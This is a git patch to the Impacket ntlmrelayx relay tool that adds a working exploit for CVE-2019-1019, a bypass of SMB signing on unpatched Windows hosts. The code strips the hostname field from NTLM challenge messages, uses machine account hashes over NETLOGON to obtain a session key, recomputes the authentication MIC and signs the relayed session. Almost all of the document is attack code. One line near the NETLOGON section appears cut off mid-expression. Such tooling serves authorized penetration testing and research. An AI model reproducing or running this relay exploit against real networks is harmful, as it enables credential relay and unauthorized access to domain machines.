From 5257b9dfbd2db13878313ad0bc58754b8ac50820 Mon Sep 17 00:00:00 2001 From: Marina Simakov Date: Thu, 13 Jun 2019 16:30:26 +0300 Subject: [PATCH] CVE-2019-1019: Bypass SMB singing for unpatched machines --- examples/ntlmrelayx.py | 13 ++ impacket/dcerpc/v5/dtypes.py | 5 +- .../ntlmrelayx/clients/smbrelayclient.py | 158 +++++++++++++++++- .../ntlmrelayx/servers/httprelayserver.py | 9 + impacket/examples/ntlmrelayx/utils/config.py | 15 +- impacket/smb3.py | 5 + 6 files changed, 194 insertions(+), 11 deletions(-) diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index 93d5081ff..ac4cdfc8a 100755 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -157,6 +157,8 @@ def start_servers(options, threads): if server is HTTPRelayServer: c.setListeningPort(options.http_port) + c.setTargetRemoval(options.remove_target) + c.setDomainAccount(options.machine_account, options.machine_hashes, options.domain) elif server is SMBRelayServer: c.setListeningPort(options.smb_port) @@ -256,6 +258,17 @@ def stop_servers(threads): mssqloptions.add_argument('-q','--query', action='append', required=False, metavar = 'QUERY', help='MSSQL query to execute' '(can specify multiple)') + #HTTPS options + httpoptions = parser.add_argument_group("HTTP options") + httpoptions.add_argument('-machine-account', action='store', required=False, + help='Domain machine account to use when interacting with the domain to grab a session key for ' + 'signing, format is domain/machine_name') + httpoptions.add_argument('-machine-hashes', action="store", metavar="LMHASH:NTHASH", + help='Domain machine hashes, format is LMHASH:NTHASH') + httpoptions.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON') + httpoptions.add_argument('-remove-target', action='store_true', default=False, + help='Try to remove the target in the challenge message (in case CVE-2019-1019 is not installed)') + #LDAP options ldapoptions = parser.add_argument_group("LDAP client options") ldapoptions.add_argument('--no-dump', action='store_false', required=False, help='Do not attempt to dump LDAP information') diff --git a/impacket/dcerpc/v5/dtypes.py b/impacket/dcerpc/v5/dtypes.py index ae45ba786..bab80ced3 100644 --- a/impacket/dcerpc/v5/dtypes.py +++ b/impacket/dcerpc/v5/dtypes.py @@ -105,7 +105,10 @@ def dump(self, msg = None, indent = 0): def __setitem__(self, key, value): if key == 'Data': try: - self.fields[key] = value.encode('utf-8') + if not isinstance(value, bytes): + self.fields[key] = value.encode('utf-8') + else: + self.fields[key] = value except UnicodeDecodeError: import sys self.fields[key] = value.decode(sys.getfilesystemencoding()).encode('utf-8') diff --git a/impacket/examples/ntlmrelayx/clients/smbrelayclient.py b/impacket/examples/ntlmrelayx/clients/smbrelayclient.py index 0a9eab452..66e0f2c71 100644 --- a/impacket/examples/ntlmrelayx/clients/smbrelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/smbrelayclient.py @@ -13,15 +13,22 @@ # This is the SMB client which initiates the connection to an # SMB server and relays the credentials to this server. +import logging import os -from struct import unpack +from binascii import unhexlify, hexlify +from struct import unpack, pack from socket import error as socketerror +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.dcerpc.v5 import nrpc +from impacket.dcerpc.v5 import transport +from impacket.dcerpc.v5.ndr import NULL from impacket import LOG from impacket.examples.ntlmrelayx.clients import ProtocolClient from impacket.examples.ntlmrelayx.servers.socksserver import KEEP_ALIVE_TIMER from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_LOGON_FAILURE -from impacket.ntlm import NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallenge +from impacket.ntlm import NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallenge, NTLMAuthChallengeResponse, \ + generateEncryptedSessionKey, hmac_md5 from impacket.smb import SMB, NewSMBPacket, SMBCommand, SMBSessionSetupAndX_Extended_Parameters, \ SMBSessionSetupAndX_Extended_Data, SMBSessionSetupAndX_Extended_Response_Data, \ SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Data, SMBSessionSetupAndX_Parameters @@ -45,9 +52,9 @@ def neg_session(self, negPacket=None): return SMB.neg_session(self, extended_security=self.extendedSecurity, negPacket=negPacket) class MYSMB3(SMB3): - def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None): + def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None, preferredDialect=None): self.extendedSecurity = extendedSecurity - SMB3.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negSessionResponse=SMB2Packet(negPacket)) + SMB3.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negSessionResponse=SMB2Packet(negPacket), preferredDialect=preferredDialect) def negotiateSession(self, preferredDialect = None, negSessionResponse = None): # We DON'T want to sign @@ -128,8 +135,116 @@ def __init__(self, serverConfig, target, targetPort = 445, extendedSecurity=True self.machineHashes = None self.sessionData = {} + self.negotiate_message = None + self.challenge_message = None + self.server_challenge = None + self.keepAliveHits = 1 + def netlogonSessionKey(self, authenticateMessageBlob): + # Here we will use netlogon to get the signing session key + logging.info("Connecting to %s NETLOGON service" % self.domainIp) + + respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) + authenticateMessage = NTLMAuthChallengeResponse() + authenticateMessage.fromString(respToken2['ResponseToken']) + _, machineAccount = self.serverConfig.machineAccount.split('/') + domainName = authenticateMessage['domain_name'].decode('utf-16le') + + try: + serverName = machineAccount[:len(machineAccount)-1] + except: + # We're in NTLMv1, not supported + return STATUS_ACCESS_DENIED + + stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.serverConfig.domainIp + + rpctransport = transport.DCERPCTransportFactory(stringBinding) + + if len(self.serverConfig.machineHashes) > 0: + lmhash, nthash = self.serverConfig.machineHashes.split(':') + else: + lmhash = '' + nthash = '' + + if hasattr(rpctransport, 'set_credentials'): + # This method exists only for selected protocol sequences. + rpctransport.set_credentials(machineAccount, '', domainName, lmhash, nthash) + + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(nrpc.MSRPC_UUID_NRPC) + resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', b'12345678') + + serverChallenge = resp['ServerChallenge'] + + if self.serverConfig.machineHashes == '': + ntHash = None + else: + ntHash = unhexlify(self.serverConfig.machineHashes.split(':')[1]) + + sessionKey = nrpc.ComputeSessionKeyStrongKey('', b'12345678', serverChallenge, ntHash) + + ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey) + + nrpc.hNetrServerAuthenticate3(dce, NULL, machineAccount + '\x00', + nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00', + ppp, 0x600FFFFF) + + clientStoredCredential = pack('= (250 / KEEP_ALIVE_TIMER): @@ -172,7 +287,11 @@ def initConnection(self): LOG.error('SMBCLient error: %s' % str(e)) return False if packet[0:1] == b'\xfe': - smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet) + preferredDialect = None + # Currently only works with SMB2_DIALECT_002 or SMB2_DIALECT_21 + if self.serverConfig.remove_target: + preferredDialect = SMB2_DIALECT_21 + smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet, preferredDialect=preferredDialect) else: # Answer is SMB packet, sticking to SMBv1 smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet) @@ -197,8 +316,12 @@ def sendNegotiate(self, negotiateMessage): else: challenge.fromString(self.sendNegotiatev2(negotiateMessage)) + self.negotiate_message = negotiateMessage + self.challenge_message = challenge.getData() + # Store the Challenge in our session data dict. It will be used by the SMB Proxy self.sessionData['CHALLENGE_MESSAGE'] = challenge + self.server_challenge = challenge['challenge'] return challenge @@ -350,10 +473,35 @@ def sendAuth(self, authenticateMessageBlob, serverChallenge=None): else: authData = authenticateMessageBlob + signingKey = None + if self.serverConfig.remove_target: + respToken2 = SPNEGO_NegTokenResp(authData) + authenticateMessageBlob = respToken2['ResponseToken'] + + errorCode, signingKey = self.netlogonSessionKey(authData) + + # Recalculate MIC + res = NTLMAuthChallengeResponse() + res.fromString(authenticateMessageBlob) + + new_auth_blob = hexlify(authenticateMessageBlob)[0:144] + b'00000000000000000000000000000000' + hexlify(authenticateMessageBlob)[176:] + relay_MIC = hmac_md5(signingKey, self.negotiate_message + self.challenge_message + unhexlify(new_auth_blob)) + res['MIC'] = relay_MIC + authData = res.getData() + + respToken2 = SPNEGO_NegTokenResp() + respToken2['ResponseToken'] = authData + authData = respToken2.getData() + if self.session.getDialect() == SMB_DIALECT: token, errorCode = self.sendAuthv1(authData, serverChallenge) else: token, errorCode = self.sendAuthv2(authData, serverChallenge) + + if signingKey: + logging.info("Enabling session signing") + self.session._SMBConnection.enable_signing(signingKey) + return token, errorCode def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None): diff --git a/impacket/examples/ntlmrelayx/servers/httprelayserver.py b/impacket/examples/ntlmrelayx/servers/httprelayserver.py index e6ce2e0d8..153514f3c 100644 --- a/impacket/examples/ntlmrelayx/servers/httprelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/httprelayserver.py @@ -266,6 +266,15 @@ def do_ntlm_negotiate(self, token, proxy): if not self.client.initConnection(): return False self.challengeMessage = self.client.sendNegotiate(token) + + # Remove target NetBIOS field from the NTLMSSP_CHALLENGE + if self.server.config.remove_target: + av_pairs = ntlm.AV_PAIRS(self.challengeMessage['TargetInfoFields']) + del av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] + self.challengeMessage['TargetInfoFields'] = av_pairs.getData() + self.challengeMessage['TargetInfoFields_len'] = len(av_pairs.getData()) + self.challengeMessage['TargetInfoFields_max_len'] = len(av_pairs.getData()) + # Check for errors if self.challengeMessage is False: return False diff --git a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py index 481985dd0..d6cae1168 100644 --- a/impacket/examples/ntlmrelayx/utils/config.py +++ b/impacket/examples/ntlmrelayx/utils/config.py @@ -35,13 +35,13 @@ def __init__(self): self.encoding = None self.ipv6 = False - #WPAD options + # WPAD options self.serve_wpad = False self.wpad_host = None self.wpad_auth_num = 0 self.smb2support = False - #WPAD options + # WPAD options self.serve_wpad = False self.wpad_host = None self.wpad_auth_num = 0 @@ -70,6 +70,8 @@ def __init__(self): self.runSocks = False self.socksServer = None + # HTTP options + self.remove_target = False def setSMB2Support(self, value): self.smb2support = value @@ -79,7 +81,7 @@ def setProtocolClients(self, clients): def setInterfaceIp(self, ip): self.interfaceIp = ip - + def setListeningPort(self, port): self.listeningPort = port @@ -114,10 +116,10 @@ def setAttacks(self, attacks): def setLootdir(self, lootdir): self.lootdir = lootdir - def setRedirectHost(self,redirecthost): + def setRedirectHost(self, redirecthost): self.redirecthost = redirecthost - def setDomainAccount( self, machineAccount, machineHashes, domainIp): + def setDomainAccount(self, machineAccount, machineHashes, domainIp): self.machineAccount = machineAccount self.machineHashes = machineHashes self.domainIp = domainIp @@ -154,3 +156,6 @@ def setWpadOptions(self, wpad_host, wpad_auth_num): self.serve_wpad = True self.wpad_host = wpad_host self.wpad_auth_num = wpad_auth_num + + def setTargetRemoval(self, remove_target): + self.remove_target = remove_target diff --git a/impacket/smb3.py b/impacket/smb3.py index 6b945c59a..1a2c912ac 100644 --- a/impacket/smb3.py +++ b/impacket/smb3.py @@ -1697,3 +1697,8 @@ def open_andx(self, tid, fileName, open_mode, desired_access): fileId = self.create(tid,fileName,desired_access, open_mode, FILE_NON_DIRECTORY_FILE, open_mode, 0) return fileId, 0, 0, 0, 0, 0, 0, 0, 0 + + def enable_signing(self, signingKey): + self._Session['SessionKey'] = signingKey + self._Session['SigningActivated'] = True + self._Session['SigningRequired'] = True